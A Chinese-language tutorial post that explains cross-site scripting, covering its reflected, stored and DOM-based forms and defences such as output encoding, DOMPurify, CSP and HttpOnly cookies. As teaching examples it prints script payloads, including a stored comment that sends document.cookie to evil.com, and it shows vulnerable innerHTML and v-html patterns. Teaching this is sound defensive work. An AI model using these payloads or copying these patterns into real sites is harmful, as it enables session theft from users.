XSS 是什麼?一篇搞懂跨站腳本攻擊,以及怎麼防
如果你有在做網站,XSS 大概是你最該先搞懂的漏洞,因為它太常見、太容易出現,而且後果可以很嚴重。這篇把它一次講清楚:是什麼、怎麼攻、怎麼防。
什麼是 XSS
XSS 全名 Cross-Site Scripting(跨站腳本攻擊)。一句話:
攻擊者想辦法把惡意的 JavaScript「塞進」你的網頁,讓它在其他使用者的瀏覽器裡執行。
根本原因永遠是同一個:你把「不可信的資料」當成「程式碼」輸出到頁面上,卻沒有妥善處理。 使用者輸入的東西,最後變成了會執行的 script。
最經典的例子,一個搜尋頁把關鍵字直接印回畫面:
// 危險:直接把使用者輸入塞進 HTML
element.innerHTML = "你搜尋了:" + userInput;
如果 userInput 是 <script>alert(document.cookie)</script>,這段 script 就會在受害者的瀏覽器執行。
為什麼危險
很多人以為「不就跳個 alert」。問題是,那段 script 能在受害者已登入的身分下做事:
- 偷 cookie / session token → 直接冒充對方登入
- 幫對方發文、轉帳、改密碼(在他不知情的狀況下)
- 做假的登入框釣帳密(釣魚)
- 記錄鍵盤輸入、竄改頁面內容
它執行的權限,就是受害者本人的權限。這才是它真正可怕的地方。
三種類型
1. 反射型(Reflected XSS)
惡意內容藏在請求裡(通常是網址參數),伺服器原封不動「反射」回頁面。攻擊者要誘騙受害者點一個帶 payload 的連結:
https://example.com/search?q=<script>...</script>
頁面把 q 直接印出來 → script 執行。一次性的,不會存起來。
2. 儲存型(Stored XSS)
最危險的一種。惡意內容被存進資料庫(留言、暱稱、個人簡介…),之後每個瀏覽到該頁的人都會中。不需要誘騙點擊,受害範圍隨瀏覽量擴大。
// 攻擊者送出一則留言:
"很棒的文章!<script>fetch('https://evil.com?c='+document.cookie)</script>"
// 之後所有看這篇留言的人,cookie 都被送到 evil.com
3. DOM 型(DOM-based XSS)
漏洞完全發生在前端 JavaScript,伺服器甚至沒參與。前端從 location.hash、location.search 之類拿資料,直接塞進 DOM:
// 危險:直接拿網址片段寫進頁面
document.getElementById('out').innerHTML = location.hash.slice(1);
怎麼防(重點在這)
記住一個核心原則:防禦的重點是「輸出」,不是「輸入」。 同一段資料輸出到 HTML、屬性、JS、URL 的跳脫方式都不同,要依「輸出的位置」來處理。
1. 輸出編碼 / 跳脫(Output Encoding)
把資料當「文字」而不是「程式碼」輸出。最簡單的:不要用 innerHTML,用 textContent。
// 安全:瀏覽器會把它當純文字,不會執行
element.textContent = "你搜尋了:" + userInput;
要組 HTML 時,把 < > & " ' 這些字元跳脫成 HTML entity(< > …)。
2. 用框架的自動跳脫,別繞過它
React、Vue 預設就會跳脫,正常用 {userInput} / {{ userInput }} 是安全的。真正的地雷是你手動繞過它:
// React:dangerouslySetInnerHTML 顧名思義就是危險
<div dangerouslySetInnerHTML={{ __html: userInput }} />
<!-- Vue:v-html 同樣會直接渲染 HTML -->
<div v-html="userInput"></div>
非用不可時,內容一定要先消毒。
3. 需要渲染 HTML 就用 DOMPurify
像留言、富文本這種真的需要保留部分 HTML 的場景,用成熟的消毒函式庫,別自己寫正規表達式擋(一定擋不乾淨):
import DOMPurify from 'dompurify';
element.innerHTML = DOMPurify.sanitize(userInput);
4. CSP(Content-Security-Policy)
設一道 HTTP header,限制頁面只能執行哪些來源的 script。就算 XSS 被塞進來,inline script 也跑不起來,這是最後一道防線:
Content-Security-Policy: default-src 'self'; script-src 'self'
5. Cookie 加 HttpOnly
把 session cookie 設成 HttpOnly,JavaScript 就讀不到 document.cookie,就算中了 XSS 也偷不走 session:
Set-Cookie: session=...; HttpOnly; Secure; SameSite=Strict
一張防禦清單
- 預設用
textContent,避免innerHTML - 框架的
dangerouslySetInnerHTML/v-html一律先消毒 - 需要 HTML 就用 DOMPurify,不要自己擋
- 上 CSP header
- session cookie 設
HttpOnly+Secure+SameSite - 記住:依「輸出位置」做對應的跳脫
結語
XSS 的本質很單純:資料和程式碼的界線被打破了。 你只要時時記得「使用者給的東西永遠是資料,不是程式碼」,並且在輸出的每一個位置都這樣對待它,大部分的 XSS 就進不來了。
防禦不難,難的是「每一個輸出點都不漏」。把這篇的清單收進寶庫,下次 code review 直接拿出來對。
覺得太深?先看這幾篇入門好文
- 零基礎搞懂 XSS(Cymetrics) — 最白話的入門,從零開始講
- DVWA 實際打一次 XSS(Medium) — 動手在練習靶機實測,看得到效果
- 巴哈 Stored XSS 真實案例(cyku.tw) — 真實網站的儲存型 XSS 拆解